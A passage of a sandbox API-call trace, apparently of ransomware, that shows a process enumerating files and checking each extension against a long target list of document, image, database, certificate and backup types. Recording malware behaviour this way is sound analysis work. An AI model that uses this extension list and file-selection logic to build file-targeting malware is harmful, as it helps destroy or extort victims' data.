	[0060.722] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.722] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.723] lstrlenW (lpString="eula.rtf") returned 8
	[0060.723] lstrlenW (lpString=".1cd") returned 4
	[0060.735] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.735] lstrlenW (lpString=".3ds") returned 4
	[0060.735] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.735] lstrlenW (lpString=".3fr") returned 4
	[0060.735] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.735] lstrlenW (lpString=".3g2") returned 4
	[0060.735] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.735] lstrlenW (lpString=".3gp") returned 4
	[0060.735] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.735] lstrlenW (lpString=".7z") returned 3
	[0060.735] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.735] lstrlenW (lpString=".accda") returned 6
	[0060.735] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.735] lstrlenW (lpString=".accdb") returned 6
	[0060.735] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.735] lstrlenW (lpString=".accdc") returned 6
	[0060.735] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.736] lstrlenW (lpString=".accde") returned 6
	[0060.736] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.736] lstrlenW (lpString=".accdt") returned 6
	[0060.736] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.736] lstrlenW (lpString=".accdw") returned 6
	[0060.736] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.736] lstrlenW (lpString=".adb") returned 4
	[0060.736] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".adp") returned 4
	[0060.736] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".ai") returned 3
	[0060.736] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.736] lstrlenW (lpString=".ai3") returned 4
	[0060.736] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".ai4") returned 4
	[0060.736] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".ai5") returned 4
	[0060.736] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".ai6") returned 4
	[0060.736] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".ai7") returned 4
	[0060.736] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".ai8") returned 4
	[0060.736] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".anim") returned 5
	[0060.736] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.736] lstrlenW (lpString=".arw") returned 4
	[0060.736] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.736] lstrlenW (lpString=".as") returned 3
	[0060.736] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.736] lstrlenW (lpString=".asa") returned 4
	[0060.736] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".asc") returned 4
	[0060.737] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".ascx") returned 5
	[0060.737] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.737] lstrlenW (lpString=".asm") returned 4
	[0060.737] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".asmx") returned 5
	[0060.737] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.737] lstrlenW (lpString=".asp") returned 4
	[0060.737] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".aspx") returned 5
	[0060.737] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.737] lstrlenW (lpString=".asr") returned 4
	[0060.737] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".asx") returned 4
	[0060.737] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".avi") returned 4
	[0060.737] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".avs") returned 4
	[0060.737] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.737] lstrlenW (lpString=".backup") returned 7
	[0060.738] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.738] lstrlenW (lpString=".bak") returned 4
	[0060.738] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".bay") returned 4
	[0060.738] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".bd") returned 3
	[0060.738] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.738] lstrlenW (lpString=".bin") returned 4
	[0060.738] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".bmp") returned 4
	[0060.738] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".bz2") returned 4
	[0060.738] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".c") returned 2
	[0060.738] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.738] lstrlenW (lpString=".cdr") returned 4
	[0060.738] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".cer") returned 4
	[0060.738] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".cf") returned 3
	[0060.738] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.738] lstrlenW (lpString=".cfc") returned 4
	[0060.738] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".cfm") returned 4
	[0060.738] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".cfml") returned 5
	[0060.738] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.738] lstrlenW (lpString=".cfu") returned 4
	[0060.738] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".chm") returned 4
	[0060.738] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.738] lstrlenW (lpString=".cin") returned 4
	[0060.738] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".class") returned 6
	[0060.739] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.739] lstrlenW (lpString=".clx") returned 4
	[0060.739] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".config") returned 7
	[0060.739] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.739] lstrlenW (lpString=".cpp") returned 4
	[0060.739] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".cr2") returned 4
	[0060.739] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".crt") returned 4
	[0060.739] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".crw") returned 4
	[0060.739] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".cs") returned 3
	[0060.739] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.739] lstrlenW (lpString=".css") returned 4
	[0060.739] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".csv") returned 4
	[0060.739] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".cub") returned 4
	[0060.739] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".dae") returned 4
	[0060.739] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".dat") returned 4
	[0060.739] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".db") returned 3
	[0060.739] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.739] lstrlenW (lpString=".dbf") returned 4
	[0060.739] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".dbx") returned 4
	[0060.739] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.739] lstrlenW (lpString=".dc3") returned 4
	[0060.740] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".dcm") returned 4
	[0060.740] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".dcr") returned 4
	[0060.740] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".der") returned 4
	[0060.740] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".dib") returned 4
	[0060.740] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".dic") returned 4
	[0060.740] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".dif") returned 4
	[0060.740] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".divx") returned 5
	[0060.740] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.740] lstrlenW (lpString=".djvu") returned 5
	[0060.740] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.740] lstrlenW (lpString=".dng") returned 4
	[0060.740] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".doc") returned 4
	[0060.740] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".docm") returned 5
	[0060.740] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.740] lstrlenW (lpString=".docx") returned 5
	[0060.740] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.740] lstrlenW (lpString=".dot") returned 4
	[0060.740] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.740] lstrlenW (lpString=".dotm") returned 5
	[0060.740] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.740] lstrlenW (lpString=".dotx") returned 5
	[0060.740] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.741] lstrlenW (lpString=".dpx") returned 4
	[0060.741] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".dqy") returned 4
	[0060.741] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".dsn") returned 4
	[0060.741] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".dt") returned 3
	[0060.741] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.741] lstrlenW (lpString=".dtd") returned 4
	[0060.741] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".dwg") returned 4
	[0060.741] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".dwt") returned 4
	[0060.741] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".dx") returned 3
	[0060.741] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.741] lstrlenW (lpString=".dxf") returned 4
	[0060.741] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".edml") returned 5
	[0060.741] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.741] lstrlenW (lpString=".efd") returned 4
	[0060.741] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".elf") returned 4
	[0060.741] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".emf") returned 4
	[0060.741] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".emz") returned 4
	[0060.741] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".epf") returned 4
	[0060.741] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".eps") returned 4
	[0060.741] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.741] lstrlenW (lpString=".epsf") returned 5
	[0060.741] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.742] lstrlenW (lpString=".epsp") returned 5
	[0060.742] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.742] lstrlenW (lpString=".erf") returned 4
	[0060.742] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".exr") returned 4
	[0060.742] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".f4v") returned 4
	[0060.742] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".fido") returned 5
	[0060.742] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.742] lstrlenW (lpString=".flm") returned 4
	[0060.742] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".flv") returned 4
	[0060.742] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".frm") returned 4
	[0060.742] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".fxg") returned 4
	[0060.742] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".geo") returned 4
	[0060.742] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".gif") returned 4
	[0060.742] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".grs") returned 4
	[0060.742] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".gz") returned 3
	[0060.742] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.742] lstrlenW (lpString=".h") returned 2
	[0060.742] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.742] lstrlenW (lpString=".hdr") returned 4
	[0060.742] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.742] lstrlenW (lpString=".hpp") returned 4
	[0060.743] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".hta") returned 4
	[0060.743] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".htc") returned 4
	[0060.743] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".htm") returned 4
	[0060.743] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".html") returned 5
	[0060.743] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.743] lstrlenW (lpString=".icb") returned 4
	[0060.743] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".ics") returned 4
	[0060.743] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".iff") returned 4
	[0060.743] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".inc") returned 4
	[0060.743] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".indd") returned 5
	[0060.743] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.743] lstrlenW (lpString=".ini") returned 4
	[0060.743] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".iqy") returned 4
	[0060.743] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".j2c") returned 4
	[0060.743] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".j2k") returned 4
	[0060.743] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.743] lstrlenW (lpString=".java") returned 5
	[0060.743] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.743] lstrlenW (lpString=".jp2") returned 4
	[0060.743] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".jpc") returned 4
	[0060.744] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".jpe") returned 4
	[0060.744] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".jpeg") returned 5
	[0060.744] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.744] lstrlenW (lpString=".jpf") returned 4
	[0060.744] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".jpg") returned 4
	[0060.744] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".jpx") returned 4
	[0060.744] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".js") returned 3
	[0060.744] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.744] lstrlenW (lpString=".jsf") returned 4
	[0060.744] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".json") returned 5
	[0060.744] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.744] lstrlenW (lpString=".jsp") returned 4
	[0060.744] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".kdc") returned 4
	[0060.744] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".kmz") returned 4
	[0060.744] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".kwm") returned 4
	[0060.744] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".lasso") returned 6
	[0060.744] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.744] lstrlenW (lpString=".lbi") returned 4
	[0060.744] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.744] lstrlenW (lpString=".lgf") returned 4
	[0060.745] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".lgp") returned 4
	[0060.745] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".log") returned 4
	[0060.745] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".m1v") returned 4
	[0060.745] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".m4a") returned 4
	[0060.745] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".m4v") returned 4
	[0060.745] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".max") returned 4
	[0060.745] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".md") returned 3
	[0060.745] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.745] lstrlenW (lpString=".mda") returned 4
	[0060.745] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".mdb") returned 4
	[0060.745] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".mde") returned 4
	[0060.745] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".mdf") returned 4
	[0060.745] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".mdw") returned 4
	[0060.745] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".mef") returned 4
	[0060.745] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".mft") returned 4
	[0060.745] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.745] lstrlenW (lpString=".mfw") returned 4
	[0060.745] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mht") returned 4
	[0060.746] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mhtml") returned 6
	[0060.746] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.746] lstrlenW (lpString=".mka") returned 4
	[0060.746] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mkidx") returned 6
	[0060.746] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.746] lstrlenW (lpString=".mkv") returned 4
	[0060.746] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mos") returned 4
	[0060.746] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mov") returned 4
	[0060.746] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mp3") returned 4
	[0060.746] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mp4") returned 4
	[0060.746] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mpeg") returned 5
	[0060.746] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.746] lstrlenW (lpString=".mpg") returned 4
	[0060.746] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mpv") returned 4
	[0060.746] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mrw") returned 4
	[0060.746] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".msg") returned 4
	[0060.746] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".mxl") returned 4
	[0060.746] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.746] lstrlenW (lpString=".myd") returned 4
	[0060.747] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".myi") returned 4
	[0060.747] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".nef") returned 4
	[0060.747] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".nrw") returned 4
	[0060.747] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".obj") returned 4
	[0060.747] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".odb") returned 4
	[0060.747] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".odc") returned 4
	[0060.747] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".odm") returned 4
	[0060.747] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".odp") returned 4
	[0060.747] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".ods") returned 4
	[0060.747] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".oft") returned 4
	[0060.747] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".one") returned 4
	[0060.747] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".onepkg") returned 7
	[0060.747] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.747] lstrlenW (lpString=".onetoc2") returned 8
	[0060.747] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.747] lstrlenW (lpString=".opt") returned 4
	[0060.747] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.747] lstrlenW (lpString=".oqy") returned 4
	[0060.747] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".orf") returned 4
	[0060.748] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".p12") returned 4
	[0060.748] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".p7b") returned 4
	[0060.748] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".p7c") returned 4
	[0060.748] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pam") returned 4
	[0060.748] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pbm") returned 4
	[0060.748] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pct") returned 4
	[0060.748] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pcx") returned 4
	[0060.748] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pdd") returned 4
	[0060.748] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pdf") returned 4
	[0060.748] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pdp") returned 4
	[0060.748] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pef") returned 4
	[0060.748] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pem") returned 4
	[0060.748] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pff") returned 4
	[0060.748] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pfm") returned 4
	[0060.748] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pfx") returned 4
	[0060.748] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.748] lstrlenW (lpString=".pgm") returned 4
	[0060.749] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
